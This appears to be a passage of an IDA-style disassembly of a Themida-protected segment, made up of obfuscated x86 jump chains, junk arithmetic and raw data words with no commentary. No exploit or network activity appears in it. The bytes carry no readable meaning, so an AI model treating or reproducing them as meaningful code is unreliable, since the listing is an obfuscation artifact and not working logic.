		dd 0F85751C6h, 9EF68104h, 89D138FEh, 44015EF0h,	29580424h
		dd 0BA522404h, 325350EAh, 4245429h, 5412685Ah, 0B1E90000h
		dd 31000003h, 0CA815DEAh, 7F2D1588h, 0DCEBE56h,	0F6815F87h
		dd 2E7A7FE0h, 0FFF6814Eh, 31327878h, 0D0015EF2h, 0FF854AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5651F5:				; CODE XREF: Themida_:0055B53Ej
		mov	ebx, 604A2673h
		shr	ebx, 5
		add	ebx, 0FCFDAED1h
		add	ebp, 62A12E71h
		sub	ebp, ebx
		jmp	loc_5601B0
; ---------------------------------------------------------------------------
		dd 1CC7BE56h, 0F73154B0h, 3FF7815Eh, 0E959A137h, 0FFFF9DFAh
		dd 1E343F0Ch, 66E9E52Ch, 0F7FFFEFAh, 30E94DDDh
		db 0C8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565237:				; CODE XREF: Themida_:0055F5C2j
		mov	[esp], edi
		push	798722DAh
		pop	edi
		add	edi, 86F8DD26h
		and	eax, edi
		jmp	loc_55D177
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0D224248Bh, 0E99C242Ch, 0FFFEC3CCh, 0DD3BE95Ah, 0C381FFFEh
		dd 4, 4EB81h, 1C870000h, 14895C24h, 2CE6BA24h, 0D589FC46h
		dd 33E9815Ah, 2925DD59h, 33C181E9h, 0E925DD59h,	0FFFF0AD8h
		dd 15DE829h, 372005F8h,	51526470h, 2BBE956h, 0EF010000h
		dd 0E8E9555Dh, 55FFFF9Bh, 0FFFAA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5652B1:				; CODE XREF: Themida_:00554AB3j
		add	ebx, ecx
		push	edi
		jmp	loc_55EC5B
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 0B5h
		dd 5130AD62h, 0DB1E73B9h, 59CA0149h, 355AD089h,	41C91636h
		dd 8158C501h, 2C5h, 4BA26800h, 2C890000h, 2474FF24h, 2434FF04h
		dd 4C4815Dh, 8F000000h,	248B2404h, 9CC88424h, 0FEC32BE9h
		dd 52E901FFh, 0FFC42EE9h, 58C788FFh, 8D2EE959h,	0E380FFFFh
		dd 0EE38E960h, 74FFFFFFh, 89E90424h, 57FFFF50h,	762469BFh
		dd 0AB6AE972h, 0C483FFFFh, 0BEC18104h, 0E95C7CE0h, 0FFFFC4E2h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55477F
; ---------------------------------------------------------------------------
		dd 582434FFh, 8904EC83h, 6A68241Ch, 8900000Dh, 4832424h
		dd 1C8B0424h, 4C48324h,	0FF8758E9h, 3A3368FFh, 1C890000h
		dd 835B5424h, 48904ECh,	9BD6824h, 2C890000h, 4BB9BD24h
		dd 0E1E91EB4h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56538F:				; CODE XREF: Themida_:005551E5j
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	edx, 4
		push	edx
		pop	eax
		pop	edx
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561564
; ---------------------------------------------------------------------------


loc_5653BC:				; CODE XREF: Themida_:00566090j
		mov	edi, 2
		jmp	loc_56660F
; ---------------------------------------------------------------------------
		dw 401h
		dd 59E99C24h
		db 0C2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5653CF:				; CODE XREF: Themida_:00552C67j
		add	ebx, 908B3BABh
		push	ebx
		mov	ebx, 2C671CD8h
		add	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		add	ecx, 174A6132h
		sub	ecx, ebx
		sub	ecx, 174A6132h
		sub	ecx, 2C671CD8h
		pop	ebx
		push	2055h
		mov	[esp], esi
		push	6EC6h
		mov	[esp], eax
		push	edx
		push	62FB11B0h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555453
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 59h
		dd 8133FD16h, 0D04E42CDh, 95ED8137h, 0E9FBC6AAh, 0FFFFB8F2h
		dd 8D4BD55h, 30BF3870h,	0E9AC2E15h, 0FFFF37EBh,	0E10B30BAh
		dd 0EDE94A31h
		db 0D9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565457:				; CODE XREF: Themida_:00565088j
		xor	esi, [esp]
		pop	esp
		jmp	loc_55EFBF
; ---------------------------------------------------------------------------
		dd 0EC81E589h, 4, 0FFB715E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56546D:				; CODE XREF: Themida_:00558EC9j
		xor	edx, eax
		or	edx, 236160E1h
		push	esi
		mov	esi, 4D77193Fh
		jmp	loc_5630E2
; ---------------------------------------------------------------------------
		dd 0DF240481h, 59628240h, 40DFE981h, 0E95A6282h, 0FFFF459Dh
; ---------------------------------------------------------------------------


loc_565494:				; CODE XREF: Themida_:00566332j
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5524EF
; ---------------------------------------------------------------------------
		db 66h,	68h, 0E0h
		dd 5EF8E976h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5654AE:				; CODE XREF: Themida_:0055FAC0j
		or	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 3ACB308Dh
		xor	edi, ecx
		push	dword ptr [esp]
		jmp	loc_560633
; ---------------------------------------------------------------------------


loc_5654C1:				; CODE XREF: Themida_:0055EB81j
		pop	edi
		push	47BEh
		mov	[esp], ebp
		mov	ebp, 52F74034h
		jmp	loc_56561D
; ---------------------------------------------------------------------------
		dd 68240489h, 4B461569h, 6BC93558h, 3A3564CAh, 8974C330h
		dd 0D02958C2h, 0FF2434FFh, 0E95A2434h, 0FFFECB97h, 4C6E959h
		dd 0D3F7FFFFh, 0C381DBF7h, 0D11FE746h, 0FF3E25E9h, 0F7815AFFh
		dd 6F0BE2BCh, 5C3482BDh, 0BED8173h, 29385957h, 0BC581FDh
		dd 8B385957h, 0EEE9243Ch, 51FFFF57h, 545EBB53h,	0D9891370h
		dd 81241C8Bh, 4C4h, 8BCD3100h, 0C483240Ch, 0EC73E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56554E:				; CODE XREF: Themida_:00554715j
		pop	esp
		xor	bl, al
		movzx	eax, al
		push	small 62A6h
		jmp	loc_555646
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68240C89h, 45056ABCh, 3EC18159h, 4908401Ch, 2414F751h
		dd 25F18159h, 0E9E9F16Dh, 0FFFEF82Eh, 56241489h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 3C895C24h, 41E95024h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56559F:				; CODE XREF: Themida_:00554688j
		push	eax
		not	byte ptr [esp+1]
		jmp	loc_555F1F
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0D5h
		dd 1594504h, 2434FFD5h,	4C4835Ah, 8327C581h, 0EE014B93h
		dd 83242C8Bh, 336804C4h, 89000063h, 74FF2434h, 348B0424h
		dd 4C48324h, 8B24048Fh,	34FF2424h, 5D685924h, 89000026h
		dd 0EC81241Ch, 4, 0E9242489h, 0AF6h, 5059CE01h,	2BF57h
		dd 0B7E90000h, 81FFFFE9h, 4C1h,	4EC8300h, 0E9240C89h, 0FFFF3FD8h
		dd 0FEC00BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56561D:				; CODE XREF: Themida_:005654CFj
		and	ebp, 0B6F79CAh
		shl	ebp, 1
		sub	ebp, 9F585558h
		jmp	loc_55ABF6
; ---------------------------------------------------------------------------
		dd 8058C128h, 5251F2EBh, 0E6C0AEB6h, 80C6FE08h,	0F58855C6h
		dd 80C3805Ah, 0EB80EB28h, 0CB285980h, 8056C380h, 0F59F2C3h
		dd 8B66C0B6h, 0E9502414h, 0FFFEEE32h, 1C4F215Ch, 0FF2434FFh
		dd 0B1E92434h, 68FFFF06h, 4BDEh, 361768h, 0C42FE900h, 0E959FFFFh
		dd 0FFFF6994h, 683CB7B8h, 4E78E90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565692:				; CODE XREF: Themida_:00561559j
		mov	esi, 187F076Bh
		jmp	loc_564601
; ---------------------------------------------------------------------------


loc_56569C:				; CODE XREF: Themida_:0055DCEEj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_558452
; ---------------------------------------------------------------------------


loc_5656A7:				; CODE XREF: Themida_:005633D7j
		pop	esp
		jmp	loc_564987
; ---------------------------------------------------------------------------
		db 5Ah,	0Fh, 0B6h
		dd 13CAE9C0h, 168FFFFh,	89000022h, 0E789243Ch, 4BD55h
		dd 28E90000h, 87FFFFB3h, 31E92434h, 29FFFEC4h, 621E05C8h
		dd 54E94DC7h, 83FFFF65h, 0E3E904C4h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5656E7:				; CODE XREF: Themida_:00551CFAj
		pop	edx
		sub	al, 32h
		jmp	loc_55A571
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC832404h, 24248904h, 4240481h, 0FF000000h,	27E92434h
		dd 88FFFF1Fh, 0EF9E9CEh, 34FF0000h, 89525A24h, 224B68E2h
		dd 35E90000h, 0C1FFFF70h, 0BB5302E9h, 735D0A55h, 0E904EC83h
		dd 0FFFF7EDEh
; ---------------------------------------------------------------------------


loc_565730:				; CODE XREF: Themida_:005596C6j
		pop	ebx
		push	esi
		mov	esi, 11360Eh
		or	ecx, esi
		pop	esi
		add	ecx, 440C01E2h
		jmp	loc_553684
; ---------------------------------------------------------------------------


loc_565745:				; CODE XREF: Themida_:00556FB3j
		xchg	edi, ebp
		inc	ebp
		shl	ebp, 6
		neg	ebp
		xor	ebp, 9760E6C9h
		mov	ebx, ebp
		pop	ebp
		add	eax, 175C1000h
		sub	eax, ebx
		push	ebp
		mov	ebp, 5C4314E2h
		inc	ebp
		shl	ebp, 2
		jmp	loc_551E0F
; ---------------------------------------------------------------------------


loc_56576C:				; CODE XREF: Themida_:00552D68j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_553D3B
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 52240489h, 232C66BAh, 5AD08942h, 0FED885E9h, 240487FFh
		dd 0FF74C8E9h, 3DC0BFFFh, 7CE92BD6h, 1FFFF46h, 0F5E95FF9h
		dd 89FFFF60h, 405E0h, 0FDE90000h, 81FFFEE2h, 0E60216EFh
		dd 0E2E95B5Eh, 0FFFFFF86h, 48B2434h, 4EC8324h, 54240489h
		dd 40558h, 0C0830000h, 24048704h, 2CC3685Ch, 4890000h
		dd 56E08924h, 91C33BEh,	5096465Dh, 1C8B5853h, 4C48124h
		dd 0F7000000h, 0F79693D3h, 9C1EE9D6h, 0B850FFFFh, 69270DA5h
		dd 0B40F7735h, 2D63541h, 7E92893h, 0F700000Bh, 23D3E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565822:				; CODE XREF: Themida_:005658BEj
		mov	[esp], eax
		push	esp
		jmp	loc_553BDF
; ---------------------------------------------------------------------------


loc_56582B:				; CODE XREF: Themida_:005602BEj
		sub	esi, 7A573523h
		xchg	eax, esi
		jmp	loc_558AEA
; ---------------------------------------------------------------------------


loc_565837:				; CODE XREF: Themida_:0055B4CDj
		or	ebx, 162413BAh
		xor	ebx, 567E53FFh
		jmp	loc_553112
; ---------------------------------------------------------------------------
		dd 9E9C801h, 52FFFFA1h,	0FF5765E9h, 81CF01FFh, 1E4901C7h
		dd 44B8504Dh, 129A026h,	0C8B58C7h, 4C48324h, 2474FF57h
		dd 8754E904h, 0BB53FFFFh, 0BBC7298h, 8106EBC1h,	2035BE3h
		dd 46CB8141h, 0E9014D32h, 0FFFF6D0Fh, 0FEBD93E9h, 18DFBDFFh
		dd 0D1E91659h, 81FFFF0Dh, 2C4h,	4EC8100h, 0E9000000h, 0FFFEC936h
; ---------------------------------------------------------------------------


loc_5658B0:				; CODE XREF: Themida_:0055B10Cj
		pop	dx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		sub	esp, 4
		jmp	loc_565822
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0FFE0F9E9h, 42966FFh, 51E99C24h, 81FFFEBDh, 126138C5h
		dd 0EED8161h, 810C6211h, 0BE023DE9h, 55E90144h,	0A2115FBDh
		dd 5E5C10Dh, 0FFAB58E9h, 11B951FFh, 3177EF35h, 0EE0159CDh
		dd 4C6815Dh, 56000000h,	0FEEF89E9h, 0C8B66FFh, 24CF6824h
		dd 4890000h, 0E9545124h, 0FFFEC5A7h
; ---------------------------------------------------------------------------


loc_565924:				; CODE XREF: Themida_:0055652Cj
		mul	ecx
		push	4F3Ah
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 4
		dd 2474FF55h, 48F5D04h,	0C6815C24h, 44527E88h, 0EE81C601h
		dd 44527E88h, 24348758h, 0E924248Bh, 0FFFF6B7Bh, 240C8B66h
		dd 0E904EC83h, 0FFFFBE9Dh, 8B2434FFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		jmp	loc_552F63
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8641542Dh, 0E9D00108h, 0FFFF5A0Ch, 805BDE88h, 0F7281BC7h
		dd 661BEF80h, 8324148Bh, 0A8E902C4h, 81FFFF51h,	4C4h, 40500h
		dd 4330000h, 24043124h,	8B240433h, 34FF2424h, 66A2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659CA:				; CODE XREF: Themida_:0055AA94j
		push	7798h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_561C87
; ---------------------------------------------------------------------------
		dw 3481h
		dd 0A63AD524h, 0F181590Ah, 0AA63AD5h, 0FDE9815Ah, 0E97C7271h
		dd 0FFFFEE6Bh, 54E9D428h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A13:				; CODE XREF: Themida_:00554323j
		sub	edi, 54A31257h
		push	esi
		mov	esi, edi
		mov	edx, esi
		pop	esi
		jmp	loc_552AD4
; ---------------------------------------------------------------------------


loc_565A24:				; CODE XREF: Themida_:0055902Fj
		sub	edi, eax
		sub	edi, 0DEF3628h
		sub	edi, 0E6367EAh
		sub	edi, 2113601h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55F5BB
; ---------------------------------------------------------------------------


loc_565A41:				; CODE XREF: Themida_:00551C2Bj
		pop	esi
		jmp	loc_559C04
; ---------------------------------------------------------------------------


loc_565A47:				; CODE XREF: Themida_:00561119j
		pop	esi
		mov	[ebx], ecx
		jmp	loc_562CD0
; ---------------------------------------------------------------------------
		db 89h
		dd 0E0BF243Ch, 0E9510B67h, 0FFFF223Fh, 52E38953h, 4BAh
		dd 8BD30100h, 0C4812414h, 4, 4EB81h, 1C870000h,	3C895C24h
		dd 46824h, 3C8B0000h, 4C48124h,	50000000h, 0C64F49B8h
		dd 36EA8175h, 11F960Dh,	0BDBBE9C2h, 1888FFFEh, 83241C8Bh
		dd 7DE904C4h, 89FFFEBBh, 0E2892414h, 0FF91F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565AB5:				; CODE XREF: Themida_:00551DBAj
		mov	eax, 4
		sub	esi, eax
		pop	eax
		jmp	loc_55C8B5
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 14ED68D8h, 1C890000h, 41ACE924h, 0E952FFFFh,	0FFFF052Eh
		dd 33448E05h, 53C8011Bh, 0FFBD7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565AE5:				; CODE XREF: Themida_:0055FA91j
		or	esi, 8F2F0Eh
		add	esi, 3E8BF3BCh
		or	ecx, esi
		pop	esi
		jmp	loc_55649E
; ---------------------------------------------------------------------------


loc_565AF9:				; CODE XREF: Themida_:0055E45Bj
		shl	eax, 5
		xor	eax, 2849501Bh
		jmp	loc_563423
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24148924h, 46AEBD55h, 0EBA0000h, 0E9105D23h,	0FFFFF6B3h
; ---------------------------------------------------------------------------


loc_565B1C:				; CODE XREF: Themida_:0055450Dj
		mov	ecx, 273F1B8Bh
		jmp	loc_562255
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0C36CE904h, 5CBEFFFFh, 46744140h, 0FFEC01E9h, 3CC280FFh
		dd 8065CA80h, 0CBE968EAh, 5EFFFEE9h, 241CF757h,	217FE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B52:				; CODE XREF: Themida_:005518DFj
		mov	ecx, 6DC559D7h
		and	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3A9D4240h
		sub	edx, 4A62344Bh
		add	edx, 0AB56B00h
		add	edx, ecx
		sub	edx, 0AB56B00h
		push	eax
		mov	eax, 4A62344Bh
		add	edx, eax
		pop	eax
		jmp	loc_55D799
; ---------------------------------------------------------------------------


loc_565B87:				; CODE XREF: Themida_:0055BCA0j
		push	ecx
		push	edx
		mov	edx, 0DAE6AF0h
		jmp	loc_556289
; ---------------------------------------------------------------------------
		db 81h
		dd 565BB5E1h, 4BD98774h, 0F181D987h, 20A3785Fh,	796BE981h
		dd 0CA0154A1h, 4C28159h, 87000000h, 8F5C2414h, 248B2404h
		dd 3280E924h, 34FFFFFFh, 241C8B24h, 4C481h, 68510000h
		dd 19DFh, 0E9242489h, 0FFFF86E2h, 70B7E581h, 0B1680DB7h
		dd 89000060h, 1BBA2414h, 81555D0Fh, 696736CAh, 41BB534Ah
		dd 0E925547Eh, 0FFFEE427h
; ---------------------------------------------------------------------------


loc_565C00:				; CODE XREF: Themida_:0055F576j
		shr	edx, 8
		jmp	loc_558BF7
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 8704E983h, 248B240Ch,	0D2D7E924h, 0DEF7FFFFh
		dd 0FA31EE81h, 0B9511D8Eh, 11246B5Fh, 58F5F181h, 0CE0968A2h
		dd 10EE8159h, 933BF04h,	24348BF2h, 0FFBAD2E9h, 62BF57FFh
		dd 81230F25h, 90799F7h,	36E6E911h, 0D3F7FFFFh, 4640F381h
		dd 0DD09641Eh, 0FC93E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C66:				; CODE XREF: Themida_:0055CCDBj
		pop	edx
		and	eax, esi
		jmp	loc_563C74
; ---------------------------------------------------------------------------


loc_565C6E:				; CODE XREF: Themida_:005553BDj
		mov	ebp, 7B9A275Fh
		jmp	loc_553772
; ---------------------------------------------------------------------------
		dd 97DEE95Dh, 77FFFFFFh, 0B9A2E92Ch, 585BFFFEh,	0D8B1E950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565C8E:				; CODE XREF: Themida_:00560177j
		pop	eax
		not	ebp
		push	eax
		mov	eax, 174D738Eh
		jmp	loc_5647A9
; ---------------------------------------------------------------------------


loc_565C9C:				; CODE XREF: Themida_:005525E9j
		shr	edx, 3
		shr	edx, 3
		sub	edx, 0DC64D5h
		sub	edi, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55B8F6
; ---------------------------------------------------------------------------


loc_565CC1:				; CODE XREF: Themida_:00562152j
		add	esp, 4
		shr	ecx, 6
		jmp	loc_555BB5
; ---------------------------------------------------------------------------


loc_565CCC:				; CODE XREF: Themida_:005586CBj
		not	esi
		shl	esi, 2
		sub	esi, 746D046Ch
		push	eax
		jmp	loc_551720
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 22E90000h, 29FFFF66h, 0C8B5EF0h, 4EC8324h, 68243489h
		dd 6442h, 24048F54h, 4240481h, 8B000000h, 0C4832434h, 8F66E904h
		dd 0C483FFFFh, 0FFBA5204h, 424D2863h, 0EA81DAF7h, 0B2D79BFCh
		dd 0FFCD46E9h, 5F829FFh, 74C21C07h, 194CB951h, 0C8292268h
		dd 83240C8Bh, 7A2D04C4h, 536A4334h, 0C381E389h,	4, 4EB81h
		dd 21E90000h, 28FFFEF3h, 0D8285BD8h, 0E1895153h, 4BD5556h
		dd 89000000h, 0F1015DEEh, 0E2A1E95Eh, 685FFFFEh, 6D5Ah
		dd 0BE243489h, 4, 0FF0362E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565D85:				; CODE XREF: Themida_:00560869j
		mov	ecx, ebx
		pop	ebx
		add	ecx, 33D14128h
		mov	esi, ecx
		pop	ecx
		add	edi, 64BA5D13h
		add	edi, esi
		sub	edi, 64BA5D13h
		jmp	loc_55F58D
; ---------------------------------------------------------------------------


loc_565DA4:				; CODE XREF: Themida_:0056293Fj
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55C7DA
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEB874h, 489665Ch, 0E046E924h, 4B8FFFEh, 1000000h
		dd 0F75BE9C7h, 0C681FFFEh, 4, 4EE81h, 34870000h, 2C895C24h
		dd 0E2895224h, 0FEF05BE9h, 12DFFh, 0F7500000h, 48B2414h
		dd 4C48124h, 2D000000h,	55232F7Ch, 0E1E9C701h, 51FFFF2Fh
		dd 0A15C35B9h, 4DF1812Bh, 8142E023h, 0C779BEC9h, 18C98158h
		dd 815B6214h, 0E77FFDE9h, 59C8297Bh, 0FF8E95E9h, 5585AFFh
		dd 33421ADBh, 0FECC30E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565E35:				; CODE XREF: Themida_:005582A2j
		jmp	loc_551628
; ---------------------------------------------------------------------------


loc_565E3A:				; CODE XREF: Themida_:005518E9j
		mov	[esp], edx
		push	705Eh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5600D0
; ---------------------------------------------------------------------------


loc_565E58:				; CODE XREF: Themida_:00564FDCj
		pop	edi
		pop	esi
		mov	esi, edi
		pop	edi
		sub	[edi+24h], esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55B31A
; ---------------------------------------------------------------------------


loc_565E6B:				; CODE XREF: Themida_:0055D2D9j
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_556CD9
; ---------------------------------------------------------------------------
		db 29h
		dd 0D6F75AD6h, 0BED2E946h, 8956FFFFh, 264BE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565E8E:				; CODE XREF: Themida_:0055A7DAj
		or	eax, 48E317CBh
		jmp	loc_5641D7
; ---------------------------------------------------------------------------


loc_565E98:				; CODE XREF: Themida_:00561702j
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55CD04
; ---------------------------------------------------------------------------
		dd 9DE9425Eh
		db 6, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_565EAB:				; CODE XREF: Themida_:0055304Dj
		shr	edi, 4
		push	ebx
		mov	ebx, 2A195E99h
		jmp	loc_56134F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 33000000h, 4312404h,	4C9BE924h, 0E289FFFFh, 4C281h
		dd 0C2810000h, 4, 8B241487h, 0F7802424h, 381968ECh, 1C890000h
		dd 0C06BB724h, 0E7C003E7h, 0C0D7F605h, 0EFE904EFh, 33FFFFC4h
		dd 0C7E92414h, 89FFFFDBh, 0EC83243Ch, 24248904h, 4240481h
		dd 0E9000000h, 0FFFFAC3Eh, 8B04C483h, 0C4832404h, 240C8B04h
		dd 404C483h, 0CF2C96h, 2CCF04F0h, 0CE685A96h, 89000068h
		dd 8956242Ch, 4C681E6h,	81000000h, 4EEh, 24348700h, 48F545Ch
		dd 24048324h, 242C8B04h, 4C481h, 0C5810000h, 4,	6804ED83h
		dd 35D1h, 0FECC3EE9h, 0B5E956FFh
		db 0D3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565F77:				; CODE XREF: Themida_:0055E061j
		dec	edx
		add	edx, 0DE11E3B8h
		jmp	loc_560BF5
; ---------------------------------------------------------------------------


loc_565F83:				; CODE XREF: Themida_:0055AA0Bj
		sub	esp, 4
		jmp	loc_564E0D
; ---------------------------------------------------------------------------


loc_565F8E:				; CODE XREF: Themida_:00564CF4j
		xor	edi, 62115845h
		jmp	loc_561D0F
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 89570000h, 4C781E7h,	81000000h, 4C7h, 0FE1CE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565FB6:				; CODE XREF: Themida_:00556020j
		shr	edx, 3
		and	edx, 7CE434CAh
		shr	edx, 5
		dec	edx
		xor	edx, 2FEC6404h
		add	edi, edx
		pop	edx
		jmp	loc_553F52
; ---------------------------------------------------------------------------


loc_565FD1:				; CODE XREF: Themida_:0055B750j
		add	esp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55E27D
; ---------------------------------------------------------------------------


loc_565FEF:				; CODE XREF: Themida_:00557920j
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_5661AC
; ---------------------------------------------------------------------------
		db 1
		dd 0BB535FF8h, 4, 0E95BD801h, 0FFFF010Dh, 5CEB685Bh, 0C890000h
		dd 0D3B85024h, 0E912DC34h, 0FFFFA115h, 0AAFC581h, 0B0E97A1Eh
		db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56602F:				; CODE XREF: Themida_:0055C0F1j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55B2E8
; ---------------------------------------------------------------------------
		dd 8704C683h, 295C2434h, 0C335DE9h, 0BFCAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56605A:				; CODE XREF: Themida_:0055B193j
		add	ebp, 4
		jmp	loc_55BBD6
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 0FF41AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566069:				; CODE XREF: Themida_:0055962Ej
		pop	esp
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		add	[ecx], edx
		jmp	loc_55EF4C
; ---------------------------------------------------------------------------


loc_566081:				; CODE XREF: Themida_:0055E65Ej
		push	eax
		mov	eax, 40B5B4Dh
		add	eax, 0FBF4A4B7h
		add	ebp, eax
		pop	eax
		push	edi
		jmp	loc_5653BC
; ---------------------------------------------------------------------------


loc_566095:				; CODE XREF: Themida_:0055425Bj
		mov	ecx, [esp]
		add	esp, 4
		push	343Ch
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp


loc_5660AF:				; CODE XREF: Themida_:005517AFj
					; Themida_:00554C72j
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_55E28B
; ---------------------------------------------------------------------------
		db 57h
		dd 2C3B01BFh, 89EF8105h, 81CC19BFh, 0C940C0CFh,	0BD55514Ch
		dd 2F302F52h, 19B2CD81h, 9DE975DCh
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5660E3:				; CODE XREF: Themida_:00560C6Dj
		push	ecx
		mov	ecx, 49CA62E7h
		jmp	loc_551F86
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 2434FF00h, 28E8E95Bh, 0E958FFFFh, 163h
; ---------------------------------------------------------------------------


loc_566104:				; CODE XREF: Themida_:005579CBj
		shl	edi, 2
		xor	edi, 8B95E302h
		sub	ebp, edi
		jmp	loc_559ED5
; ---------------------------------------------------------------------------
		dd 121594BEh, 5DEE3116h, 0FEFDF7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566121:				; CODE XREF: Themida_:00552FECj
		sub	eax, 753612A0h
		sub	eax, ebx
		jmp	loc_5597A9
; ---------------------------------------------------------------------------


loc_56612D:				; CODE XREF: Themida_:005597D6j
		pop	esp
		mov	ecx, [esp]
		push	ebx
		jmp	loc_55A44C
; ---------------------------------------------------------------------------


loc_566137:				; CODE XREF: Themida_:005595A6j
		xchg	eax, [esp]
		pop	esp
		push	11FDh
		mov	[esp], ecx
		push	eax
		mov	al, 70h
		jmp	loc_561217
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 0FED874E9h, 8DBB66FFh, 0EBD16647h, 57DBF766h, 547BF66h
		dd 0D8E94F66h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56616B:				; CODE XREF: Themida_:005571D4j
		add	ecx, esi
		add	ecx, 1B409E1h
		push	eax
		mov	eax, 7E131902h
		not	eax
		add	eax, 0AEF53D6Ah
		add	ecx, eax
		pop	eax
		add	ecx, 4A8E4157h
		jmp	loc_5530A7
; ---------------------------------------------------------------------------
		dw 6657h
		dd 665F5B68h, 0EF81665Fh, 0AAE916D5h
